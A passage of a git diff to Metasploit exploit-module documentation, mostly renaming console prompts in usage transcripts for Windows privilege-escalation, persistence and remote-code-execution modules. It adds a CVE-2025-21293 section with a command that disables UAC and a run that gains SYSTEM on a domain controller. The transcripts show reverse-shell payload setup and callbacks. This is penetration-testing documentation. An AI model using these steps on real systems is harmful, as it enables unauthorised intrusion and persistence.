NT\CurrentVersion\SilentProcessExit\notepad.exe [*] Payload (7168 bytes) uploaded on DESKTOP-D1E425Q to C:\Users\msfuser\AppData\Local\Temp\xEaiLUS.exe -msf5 exploit(windows/local/persistence_image_exec_options) > show options +msf exploit(windows/local/persistence_image_exec_options) > show options Module options (exploit/windows/local/persistence_image_exec_options): @@ -68,14 +68,14 @@ Exploit target: 0 Automatic -msf5 exploit(windows/local/persistence_image_exec_options) > +msf exploit(windows/local/persistence_image_exec_options) > ``` In another window, start a listener and then launch notepad.exe on the target. Close notepad.exe and you should get a callback: ``` -msf5 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.135.168:4545 [*] Sending stage (206403 bytes) to 192.168.132.125 diff --git a/documentation/modules/exploit/windows/local/persistence_service.md b/documentation/modules/exploit/windows/local/persistence_service.md index 1795e2fbd9cbe..03132b662a9f2 100644 --- a/documentation/modules/exploit/windows/local/persistence_service.md +++ b/documentation/modules/exploit/windows/local/persistence_service.md @@ -39,7 +39,7 @@ The name of service. Random string as default. ### Windows 7 SP1 x64 ``` -msf5 exploit(windows/local/persistence_service) > sessions -i 1 +msf exploit(windows/local/persistence_service) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid @@ -54,16 +54,16 @@ Logged On Users : 2 Meterpreter : x86/windows meterpreter > background [*] Backgrounding session 1... -msf5 exploit(windows/local/persistence_service) > use exploit/windows/local/persistence_service -msf5 exploit(windows/local/persistence_service) > set payload windows/meterpreter/reverse_tcp +msf exploit(windows/local/persistence_service) > use exploit/windows/local/persistence_service +msf exploit(windows/local/persistence_service) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf5 exploit(windows/local/persistence_service) > set lport 2333 +msf exploit(windows/local/persistence_service) > set lport 2333 lport => 2333 -msf5 exploit(windows/local/persistence_service) > set lhost 192.168.56.1 +msf exploit(windows/local/persistence_service) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf5 exploit(windows/local/persistence_service) > set session 1 +msf exploit(windows/local/persistence_service) > set session 1 session => 1 -msf5 exploit(windows/local/persistence_service) > exploit +msf exploit(windows/local/persistence_service) > exploit [*] Started reverse TCP handler on 192.168.56.1:2333 [*] Running module against TEST-PC @@ -91,7 +91,7 @@ meterpreter > background **Clean it** ``` -msf5 exploit(windows/local/persistence_service) > sessions -i 1 +msf exploit(windows/local/persistence_service) > sessions -i 1 [*] Starting interaction with 1... meterpreter > resource /Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc diff --git a/documentation/modules/exploit/windows/local/plantronics_hub_spokesupdateservice_privesc.md b/documentation/modules/exploit/windows/local/plantronics_hub_spokesupdateservice_privesc.md index a036093ae58d8..72ba06b84a09a 100644 --- a/documentation/modules/exploit/windows/local/plantronics_hub_spokesupdateservice_privesc.md +++ b/documentation/modules/exploit/windows/local/plantronics_hub_spokesupdateservice_privesc.md @@ -38,16 +38,16 @@ ### Windows 7 SP1 (x64) ``` - msf5 > use exploit/windows/local/plantronics_hub_spokesupdateservice_privesc - msf5 exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > set session 1 + msf > use exploit/windows/local/plantronics_hub_spokesupdateservice_privesc + msf exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > set session 1 session => 1 - msf5 exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > set verbose true + msf exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > set verbose true verbose => true - msf5 exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > check + msf exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > check [*] The service is running, but could not be validated. - msf5 exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > set lhost 172.16.191.165 + msf exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > set lhost 172.16.191.165 lhost => 172.16.191.165 - msf5 exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > run + msf exploit(windows/local/plantronics_hub_spokesupdateservice_privesc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [*] Writing payload to C:\Users\test\AppData\Local\Temp\MuVtxrl9.exe ... diff --git a/documentation/modules/exploit/windows/local/ricoh_driver_privesc.md b/documentation/modules/exploit/windows/local/ricoh_driver_privesc.md index 030e826d86bad..a77d0bbe3b98d 100644 --- a/documentation/modules/exploit/windows/local/ricoh_driver_privesc.md +++ b/documentation/modules/exploit/windows/local/ricoh_driver_privesc.md @@ -32,12 +32,12 @@ ### Tested on Ricoh PCL6 Universal Driver `v4.13` ``` - msf5 > use multi/handler - msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp + msf > use multi/handler + msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp - msf5 exploit(multi/handler) > set lhost 192.168.37.1 + msf exploit(multi/handler) > set lhost 192.168.37.1 lhost => 192.168.37.1 - msf5 exploit(multi/handler) > run + msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Sending stage (206403 bytes) to 192.168.37.199 @@ -55,7 +55,7 @@ Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 1... - msf5 exploit(multi/handler) > use ricoh_driver_privesc + msf exploit(multi/handler) > use ricoh_driver_privesc Matching Modules ================ @@ -66,15 +66,15 @@ [*] Using exploit/windows/local/ricoh_driver_privesc - msf5 exploit(windows/local/ricoh_driver_privesc) > set session 1 + msf exploit(windows/local/ricoh_driver_privesc) > set session 1 session => 1 - msf5 exploit(windows/local/ricoh_driver_privesc) > set payload windows/x64/meterpreter/reverse_tcp + msf exploit(windows/local/ricoh_driver_privesc) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp - msf5 exploit(windows/local/ricoh_driver_privesc) > set lhost 192.168.37.1 + msf exploit(windows/local/ricoh_driver_privesc) > set lhost 192.168.37.1 lhost => 192.168.37.1 - msf5 exploit(windows/local/ricoh_driver_privesc) > check + msf exploit(windows/local/ricoh_driver_privesc) > check [*] The target appears to be vulnerable. Ricoh driver directory has full permissions - msf5 exploit(windows/local/ricoh_driver_privesc) > run + msf exploit(windows/local/ricoh_driver_privesc) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Adding printer JLFJCi... diff --git a/documentation/modules/exploit/windows/local/service_permissions.md b/documentation/modules/exploit/windows/local/service_permissions.md index ad7029f18548e..74c6eeb3e565e 100644 --- a/documentation/modules/exploit/windows/local/service_permissions.md +++ b/documentation/modules/exploit/windows/local/service_permissions.md @@ -58,13 +58,34 @@ The name of a specific service to target. This can be used to avoid targeting al the module user wants to target a specific one. When specified, the service name is compared to others in a case-insensitive manner per the [`CreateServiceA`][CreateServiceA] documentation. +## Actions + +### Exploit CVE-2025-21293 +Prior to the January 2025 Windows update, users who are apart of the `Network Configuration Operators` group have the +`CreateSubKey` Registry Right under the `HKLM\System\CurrentControlSet\Services\Dnscache\` registry key (which is the +crux of CVE-2025-21293). This allows them to exploit the Weak Registry Permissions technique included in this module +to gain SYSTEM privileges. + +However there are a few caveats to this. As mentioned in the original [research paper](https://birkep.github.io/posts/Windows-LPE/) +there is a chance that the session will be established in the context of `nt authority\local service` and not `nt authority\system`. +If this happens, rerun the module. + +Also if UAC is enabled, despite having `CreateSubKey` RegistryRight under the +`HKLM\System\CurrentControlSet\Services\Dnscache\` registry key, Windows will not let you create the registry key as a +non-admin user. In order to exploit CVE-2025-21293, remotely and from Metasploit, you need to disable UAC. This can be +done by running the following command in an elevated command prompt and then rebooting the system: + +``` +reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f +``` + ## Scenarios Specific demo of using the module that might be useful in a real world scenario. ### Windows 7 SP1 x64 (Weak Registry Permissions Technique) ``` -msf6 exploit(windows/local/service_permissions) > sessions -i -1 +msf exploit(windows/local/service_permissions) > sessions -i -1 [*] Starting interaction with 1... meterpreter > getuid @@ -85,17 +106,17 @@ meterpreter > getsystem [-] Named Pipe Impersonation (RPCSS variant) meterpreter > background [*] Backgrounding session 1... -msf6 exploit(windows/local/service_permissions) > set SESSION -1 +msf exploit(windows/local/service_permissions) > set SESSION -1 SESSION => -1 -msf6 exploit(windows/local/service_permissions) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +msf exploit(windows/local/service_permissions) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/service_permissions) > set LHOST 192.168.159.128 +msf exploit(windows/local/service_permissions) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(windows/local/service_permissions) > set TargetServiceName rpceptmapper +msf exploit(windows/local/service_permissions) > set TargetServiceName rpceptmapper TargetServiceName => rpceptmapper -msf6 exploit(windows/local/service_permissions) > set VERBOSE true +msf exploit(windows/local/service_permissions) > set VERBOSE true VERBOSE => true -msf6 exploit(windows/local/service_permissions) > show options +msf exploit(windows/local/service_permissions) > show options Module options (exploit/windows/local/service_permissions): @@ -122,7 +143,7 @@ Exploit target: 0 Automatic -msf6 exploit(windows/local/service_permissions) > exploit +msf exploit(windows/local/service_permissions) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Trying to find weak permissions in existing services.. @@ -156,3 +177,65 @@ meterpreter > ``` [CreateServiceA]: https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-createservicea + +### Scenario: Windows Server 2019. Action: CVE-2025-21293 + +``` +msf exploit(windows/local/service_permissions) > set lhost 172.16.199.1 +lhost => 172.16.199.1 +msf exploit(windows/local/service_permissions) > set lport 6665 +lport => 6665 +msf exploit(windows/local/service_permissions) > set payload windows/x64/meterpreter/reverse_tcp +payload => windows/x64/meterpreter/reverse_tcp +msf exploit(windows/local/service_permissions) > set target 1 +target => 1 +msf exploit(windows/local/service_permissions) > options + +Module options (exploit/windows/local/service_permissions): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + AGGRESSIVE false no Exploit as many services as possible (dangerous) + SESSION -1 yes The session to run this module on + TIMEOUT 10 yes Timeout for WMI command in seconds + + +Payload options (windows/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST 172.16.199.1 yes The listen address (an interface may be specified) + LPORT 6665 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 1 Exploit CVE-2025-21293 + + + +View the full module info with the info, or info -d command. + +msf exploit(windows/local/service_permissions) > run +[*] Started reverse TCP handler on 172.16.199.1:6665 +[*] exploiting Exploit CVE-2025-21293 +[+] [Dnscache] Created registry key: HKLM\System\CurrentControlSet\Services\Dnscache\Performance +[*] Sending stage (203846 bytes) to 172.16.199.200 +[+] Deleted C:\Users\msfuser\AppData\Local\Temp\VcsHZcFQ.dll +[*] Meterpreter session 8 opened (172.16.199.1:6665 -> 172.16.199.200:49807) at 2025-04-16 09:42:35 -0700 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : DC2 +OS : Windows Server 2019 (10.0 Build 17763). +Architecture : x64 +System Language : en_US +Domain : KERBEROS +Logged On Users : 5 +Meterpreter : x64/windows +meterpreter > +``` diff --git a/documentation/modules/exploit/windows/local/srclient_dll_hijacking.md b/documentation/modules/exploit/windows/local/srclient_dll_hijacking.md index 5b1d68d4da73f..ca90651079f17 100644 --- a/documentation/modules/exploit/windows/local/srclient_dll_hijacking.md +++ b/documentation/modules/exploit/windows/local/srclient_dll_hijacking.md @@ -56,7 +56,7 @@ The default value is 0. ## Scenarios ### Windows 2012 x64 - %PATH% enumeration (default) with Verbose set to true ``` -msf6 exploit(windows/local/srclient_dll_hijacking) > sessions +msf exploit(windows/local/srclient_dll_hijacking) > sessions Active sessions =============== @@ -65,7 +65,7 @@ Active sessions -- ---- ---- ----------- ---------- 3 meterpreter x64/windows WIN-FCDUOQDT1NB\wynter @ WIN-FCDUOQDT1NB 192.168.91.12:8443 -> 192.168.91.16:49157 (192.168.91.16) -msf6 exploit(windows/local/srclient_dll_hijacking) > show options +msf exploit(windows/local/srclient_dll_hijacking) > show options Module options (exploit/windows/local/srclient_dll_hijacking): @@ -93,7 +93,7 @@ Exploit target: 1 Windows Server 2012 (x64) -msf6 exploit(windows/local/srclient_dll_hijacking) > run +msf exploit(windows/local/srclient_dll_hijacking) > run [*] Started reverse TCP handler on 192.168.91.12:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -133,7 +133,7 @@ Server username: NT AUTHORITY\SYSTEM ``` ### Windows 2012 x64 - WRITABLE_PATH_DIR option set, Verbose set to false ``` -msf6 exploit(windows/local/srclient_dll_hijacking) > sessions +msf exploit(windows/local/srclient_dll_hijacking) > sessions Active sessions =============== @@ -142,7 +142,7 @@ Active sessions -- ---- ---- ----------- ---------- 8 meterpreter x64/windows WIN-FCDUOQDT1NB\wynter @ WIN-FCDUOQDT1NB 192.168.91.12:8443 -> 192.168.91.16:49158 (192.168.91.16) -msf6 exploit(windows/local/srclient_dll_hijacking) > show options +msf exploit(windows/local/srclient_dll_hijacking) > show options Module options (exploit/windows/local/srclient_dll_hijacking): @@ -170,7 +170,7 @@ Exploit target: 1 Windows Server 2012 (x64) -msf6 exploit(windows/local/srclient_dll_hijacking) > run +msf exploit(windows/local/srclient_dll_hijacking) > run [*] Started reverse TCP handler on 192.168.91.12:5555 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/local/tokenmagic.md b/documentation/modules/exploit/windows/local/tokenmagic.md index 52a1d5ed455b2..0eaf68bc6de11 100644 --- a/documentation/modules/exploit/windows/local/tokenmagic.md +++ b/documentation/modules/exploit/windows/local/tokenmagic.md @@ -48,11 +48,11 @@ the powershell script manually after some edits to accomplish access to a Window ### Tested on Windows 10 x64 1803 (Build 17134) via DLL Hijacking ``` -msf6 > use multi/handler +msf > use multi/handler [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(multi/handler) > set lhost 172.16.199.1 +msf exploit(multi/handler) > set lhost 172.16.199.1 lhost => 172.16.199.1 -emsf6 exploit(multi/handler) > options +emsf exploit(multi/handler) > options Module options (exploit/multi/handler): @@ -76,7 +76,7 @@ Exploit target: 0 Wildcard Target -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Sending stage (200262 bytes) to 172.16.199.135 @@ -84,17 +84,17 @@ msf6 exploit(multi/handler) > run meterpreter > bg [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use windows/local/tokenmagic +msf exploit(multi/handler) > use windows/local/tokenmagic [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/tokenmagic) > set lhost 172.16.199.1 +msf exploit(windows/local/tokenmagic) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(windows/local/tokenmagic) > set lport 4443 +msf exploit(windows/local/tokenmagic) > set lport 4443 lport => 4443 -msf6 exploit(windows/local/tokenmagic) > set session 1 +msf exploit(windows/local/tokenmagic) > set session 1 session => 1 -msf6 exploit(windows/local/tokenmagic) > set method DLL +msf exploit(windows/local/tokenmagic) > set method DLL method => DLL -msf6 exploit(windows/local/tokenmagic) > options +msf exploit(windows/local/tokenmagic) > options Module options (exploit/windows/local/tokenmagic): @@ -125,7 +125,7 @@ Exploit target: 0 Automatic -msf6 exploit(windows/local/tokenmagic) > run +msf exploit(windows/local/tokenmagic) > run [*] Started reverse TCP handler on 172.16.199.1:4443 [*] Executing automatic check (disable AutoCheck to override) @@ -156,9 +156,9 @@ meterpreter > ### Tested on Windows 10 x64 1803 (Build 17134) via service exploitation ``` -msf6 > use multi/handler +msf > use multi/handler [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(multi/handler) > options +msf exploit(multi/handler) > options Module options (exploit/multi/handler): @@ -182,11 +182,11 @@ Exploit target: 0 Wildcard Target -msf6 exploit(multi/handler) > set lhost 172.16.199.1 +msf exploit(multi/handler) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(multi/handler) > set lport 4444 +msf exploit(multi/handler) > set lport 4444 lport => 4444 -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Sending stage (200262 bytes) to 172.16.199.135 @@ -194,9 +194,9 @@ msf6 exploit(multi/handler) > run meterpreter > bg [*] Backgrounding session 2... -msf6 exploit(multi/handler) > use windows/local/tokenmagic +msf exploit(multi/handler) > use windows/local/tokenmagic [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/tokenmagic) > options +msf exploit(windows/local/tokenmagic) > options Module options (exploit/windows/local/tokenmagic): @@ -227,13 +227,13 @@ Exploit target: 0 Automatic -msf6 exploit(windows/local/tokenmagic) > set lhost 172.16.199.1 +msf exploit(windows/local/tokenmagic) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(windows/local/tokenmagic) > set lport 4443 +msf exploit(windows/local/tokenmagic) > set lport 4443 lport => 4443 -msf6 exploit(windows/local/tokenmagic) > set session 2 +msf exploit(windows/local/tokenmagic) > set session 2 session => 2 -msf6 exploit(windows/local/tokenmagic) > run +msf exploit(windows/local/tokenmagic) > run [*] Started reverse TCP handler on 172.16.199.1:4443 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/local/unquoted_service_path.md b/documentation/modules/exploit/windows/local/unquoted_service_path.md index 16374298bcae4..e99c41e08001c 100644 --- a/documentation/modules/exploit/windows/local/unquoted_service_path.md +++ b/documentation/modules/exploit/windows/local/unquoted_service_path.md @@ -64,15 +64,15 @@ This creates a vulnerable service, with `A Subfolder` being vulnerable to user w ### Windows 10 21H2 ``` -msf6 exploit(windows/local/unquoted_service_path) > set session 1 +msf exploit(windows/local/unquoted_service_path) > set session 1 session => 1 -msf6 exploit(windows/local/unquoted_service_path) > set verbose true +msf exploit(windows/local/unquoted_service_path) > set verbose true verbose => true -msf6 exploit(windows/local/unquoted_service_path) > set lhost 192.168.159.128 +msf exploit(windows/local/unquoted_service_path) > set lhost 192.168.159.128 lhost => 1.1.1.1 -msf6 exploit(windows/local/unquoted_service_path) > set lport 9090 +msf exploit(windows/local/unquoted_service_path) > set lport 9090 lport => 9090 -msf6 exploit(windows/local/unquoted_service_path) > exploit +msf exploit(windows/local/unquoted_service_path) > exploit [*] Started reverse TCP handler on 192.168.159.128:9090 [*] Finding a vulnerable service... diff --git a/documentation/modules/exploit/windows/local/webexec.md b/documentation/modules/exploit/windows/local/webexec.md index cd22b52eac6ae..ed3b16be2a1ac 100644 --- a/documentation/modules/exploit/windows/local/webexec.md +++ b/documentation/modules/exploit/windows/local/webexec.md @@ -23,12 +23,12 @@ ``` - msf5 > use multi/handler - msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp + msf > use multi/handler + msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp - msf5 exploit(multi/handler) > set lhost 192.168.37.1 + msf exploit(multi/handler) > set lhost 192.168.37.1 lhost => 192.168.37.1 - msf5 exploit(multi/handler) > run + msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Sending stage (179779 bytes) to 192.168.37.136 @@ -38,14 +38,14 @@ Server username: WIN-MGMN7ND70I1\a_user meterpreter > background [*] Backgrounding session 1... - msf5 exploit(multi/handler) > use exploit/windows/local/webexec - msf5 exploit(windows/local/webexec) > set session 1 + msf exploit(multi/handler) > use exploit/windows/local/webexec + msf exploit(windows/local/webexec) > set session 1 session => 1 - msf5 exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp + msf exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp - msf5 exploit(windows/local/webexec) > set lhost 192.168.37.1 + msf exploit(windows/local/webexec) > set lhost 192.168.37.1 lhost => 192.168.37.1 - msf5 exploit(windows/local/webexec) > run + msf exploit(windows/local/webexec) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Checking service exists... diff --git a/documentation/modules/exploit/windows/local/win_error_cve_2023_36874.md b/documentation/modules/exploit/windows/local/win_error_cve_2023_36874.md index ec462c631d3e4..76ae70932bd31 100644 --- a/documentation/modules/exploit/windows/local/win_error_cve_2023_36874.md +++ b/documentation/modules/exploit/windows/local/win_error_cve_2023_36874.md @@ -57,7 +57,7 @@ The number of seconds to delay between file upload and exploit launch. Default ### Windows 10.0.19045.2006 x64 (Windows 10x64 22H2) ``` -msf6 exploit(windows/local/win_error_cve_2023_36874) > run +msf exploit(windows/local/win_error_cve_2023_36874) > run [*] Started reverse TCP handler on 10.5.135.201:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/local/windscribe_windscribeservice_priv_esc.md b/documentation/modules/exploit/windows/local/windscribe_windscribeservice_priv_esc.md index 32e6461efac13..3bf7fa57746df 100644 --- a/documentation/modules/exploit/windows/local/windscribe_windscribeservice_priv_esc.md +++ b/documentation/modules/exploit/windows/local/windscribe_windscribeservice_priv_esc.md @@ -47,16 +47,16 @@ ### Windows 7 SP1 (x64) ``` - msf5 > use exploit/windows/local/windscribe_windscribeservice_priv_esc - msf5 exploit(windows/local/windscribe_windscribeservice_priv_esc) > set session 1 + msf > use exploit/windows/local/windscribe_windscribeservice_priv_esc + msf exploit(windows/local/windscribe_windscribeservice_priv_esc) > set session 1 session => 1 - msf5 exploit(windows/local/windscribe_windscribeservice_priv_esc) > set verbose true + msf exploit(windows/local/windscribe_windscribeservice_priv_esc) > set verbose true verbose => true - msf5 exploit(windows/local/windscribe_windscribeservice_priv_esc) > check + msf exploit(windows/local/windscribe_windscribeservice_priv_esc) > check [*] The service is running, but could not be validated. - msf5 exploit(windows/local/windscribe_windscribeservice_priv_esc) > set lhost 172.16.191.165 + msf exploit(windows/local/windscribe_windscribeservice_priv_esc) > set lhost 172.16.191.165 lhost => 172.16.191.165 - msf5 exploit(windows/local/windscribe_windscribeservice_priv_esc) > run + msf exploit(windows/local/windscribe_windscribeservice_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [*] Writing payload (283 bytes) to C:\Users\test\AppData\Local\Temp\1OOIoYHTpb.exe ... diff --git a/documentation/modules/exploit/windows/misc/ais_esel_server_rce.md b/documentation/modules/exploit/windows/misc/ais_esel_server_rce.md index b2531707591bc..fd60389679d38 100644 --- a/documentation/modules/exploit/windows/misc/ais_esel_server_rce.md +++ b/documentation/modules/exploit/windows/misc/ais_esel_server_rce.md @@ -40,12 +40,12 @@ ## Scenarios - msf5 > use exploit/windows/misc/ais_esel_server_rce - msf5 exploit(windows/misc/ais_esel_server_rce) > set rhosts 10.66.75.212 + msf > use exploit/windows/misc/ais_esel_server_rce + msf exploit(windows/misc/ais_esel_server_rce) > set rhosts 10.66.75.212 rhosts => 10.66.75.212 - msf5 exploit(windows/misc/ais_esel_server_rce) > check + msf exploit(windows/misc/ais_esel_server_rce) > check [+] 10.66.75.212:5099 - The target is vulnerable. - msf5 exploit(windows/misc/ais_esel_server_rce) > run + msf exploit(windows/misc/ais_esel_server_rce) > run [*] Started reverse TCP handler on 10.66.75.208:4444 [+] 10.66.75.212:5099 - Correct response received => Data send successfully diff --git a/documentation/modules/exploit/windows/misc/crosschex_device_bof.md b/documentation/modules/exploit/windows/misc/crosschex_device_bof.md index e115aadde4d3f..a1e8ef6b7a88f 100644 --- a/documentation/modules/exploit/windows/misc/crosschex_device_bof.md +++ b/documentation/modules/exploit/windows/misc/crosschex_device_bof.md @@ -50,7 +50,7 @@ As above. ## Scenarios ``` -msf5 exploit(windows/misc/crosschex_device_bof) > run +msf exploit(windows/misc/crosschex_device_bof) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] CrossChex broadcast received, sending payload in response diff --git a/documentation/modules/exploit/windows/misc/cve_2022_28381_allmediaserver_bof.md b/documentation/modules/exploit/windows/misc/cve_2022_28381_allmediaserver_bof.md index cac1f32ab5c3a..d10f130fe0b73 100644 --- a/documentation/modules/exploit/windows/misc/cve_2022_28381_allmediaserver_bof.md +++ b/documentation/modules/exploit/windows/misc/cve_2022_28381_allmediaserver_bof.md @@ -22,9 +22,9 @@ systems due to the fact that they have a different way of implementing exception ### Windows 10 10.0.19043.1586 with AllMediaServer 1.6 ``` -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/misc/cve_2022_28381_allmediaserver_bof +msf payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/misc/cve_2022_28381_allmediaserver_bof [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/misc/cve_2022_28381_allmediaserver_bof) > show options +msf exploit(windows/misc/cve_2022_28381_allmediaserver_bof) > show options Module options (exploit/windows/misc/cve_2022_28381_allmediaserver_bof): @@ -51,11 +51,11 @@ Exploit target: 0 ALLMediaServer 1.6 -msf6 exploit(windows/misc/cve_2022_28381_allmediaserver_bof) > set RHOSTS 172.26.251.245 +msf exploit(windows/misc/cve_2022_28381_allmediaserver_bof) > set RHOSTS 172.26.251.245 RHOSTS => 172.26.251.245 -msf6 exploit(windows/misc/cve_2022_28381_allmediaserver_bof) > set LHOST 172.26.241.162 +msf exploit(windows/misc/cve_2022_28381_allmediaserver_bof) > set LHOST 172.26.241.162 LHOST => 172.26.241.162 -msf6 exploit(windows/misc/cve_2022_28381_allmediaserver_bof) > exploit +msf exploit(windows/misc/cve_2022_28381_allmediaserver_bof) > exploit [*] Started reverse TCP handler on 172.26.241.162:4444 [*] 172.26.251.245:888 - Sending payload to exploit MediaServer... diff --git a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md index b7c97d3e4bb3b..2c81ec3e8ad3f 100644 --- a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md +++ b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md @@ -38,13 +38,13 @@ only used to check the version of the software to determine exploitability. 80 b ### InfraSuite Device Master v01.00.00d on Windows 10 x64 ``` -msf6 > use exploit/windows/misc/delta_electronics_infrasuite_deserialization +msf > use exploit/windows/misc/delta_electronics_infrasuite_deserialization [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/misc/delta_electronics_infrasuite_deserialization) > set rhost 192.168.140.187 +msf exploit(windows/misc/delta_electronics_infrasuite_deserialization) > set rhost 192.168.140.187 rhost => 192.168.140.187 -msf6 exploit(windows/misc/delta_electronics_infrasuite_deserialization) > set lhost 192.168.140.1 +msf exploit(windows/misc/delta_electronics_infrasuite_deserialization) > set lhost 192.168.140.1 lhost => 192.168.140.1 -msf6 exploit(windows/misc/delta_electronics_infrasuite_deserialization) > options +msf exploit(windows/misc/delta_electronics_infrasuite_deserialization) > options Module options (exploit/windows/misc/delta_electronics_infrasuite_deserialization): @@ -94,7 +94,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(windows/misc/delta_electronics_infrasuite_deserialization) > run +msf exploit(windows/misc/delta_electronics_infrasuite_deserialization) > run [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/misc/ivanti_avalanche_mdm_bof.md b/documentation/modules/exploit/windows/misc/ivanti_avalanche_mdm_bof.md index 985a7e564ae28..c3d21d9aca26f 100644 --- a/documentation/modules/exploit/windows/misc/ivanti_avalanche_mdm_bof.md +++ b/documentation/modules/exploit/windows/misc/ivanti_avalanche_mdm_bof.md @@ -63,13 +63,13 @@ In case the above doesn't work, instructions for installing Ivanti Avalanche can ## Scenarios ``` -msf6 > use exploit/windows/misc/ivanti_avalanche_mdm_bof +msf > use exploit/windows/misc/ivanti_avalanche_mdm_bof [*] Using configured payload windows/meterpreter/reverse_tcp -msf6 exploit(windows/misc/ivanti_avalanche_mdm_bof) > set rhosts 192.168.56.109 +msf exploit(windows/misc/ivanti_avalanche_mdm_bof) > set rhosts 192.168.56.109 rhosts => 192.168.56.109 -msf6 exploit(windows/misc/ivanti_avalanche_mdm_bof) > set lhost 192.168.56.1 +msf exploit(windows/misc/ivanti_avalanche_mdm_bof) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf6 exploit(windows/misc/ivanti_avalanche_mdm_bof) > run +msf exploit(windows/misc/ivanti_avalanche_mdm_bof) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] 192.168.56.109:1777 - Connecting to target... diff --git a/documentation/modules/exploit/windows/misc/mobile_mouse_rce.md b/documentation/modules/exploit/windows/misc/mobile_mouse_rce.md index a3280e6e9f97a..e9061ececcdbb 100644 --- a/documentation/modules/exploit/windows/misc/mobile_mouse_rce.md +++ b/documentation/modules/exploit/windows/misc/mobile_mouse_rce.md @@ -36,7 +36,7 @@ resource (mobile_mouse.rb)> set lhost 2.2.2.2 lhost => 2.2.2.2 resource (mobile_mouse.rb)> set verbose true verbose => true -msf6 exploit(windows/misc/mobile_mouse_rce) > run +msf exploit(windows/misc/mobile_mouse_rce) > run [*] Started reverse TCP handler on 2.2.2.2:4444 [*] 1.1.1.1:9099 - Client name set to: M6braOok6j @@ -86,7 +86,7 @@ resource (mobile_mouse.rb)> set lhost 2.2.2.2 lhost => 2.2.2.2 resource (mobile_mouse.rb)> set verbose true verbose => true -msf6 exploit(windows/misc/mobile_mouse_rce) > run +msf exploit(windows/misc/mobile_mouse_rce) > run [*] Started reverse TCP handler on 2.2.2.2:4444 [*] 1.1.1.1:9099 - Client name set to: baqpHBHh5Q diff --git 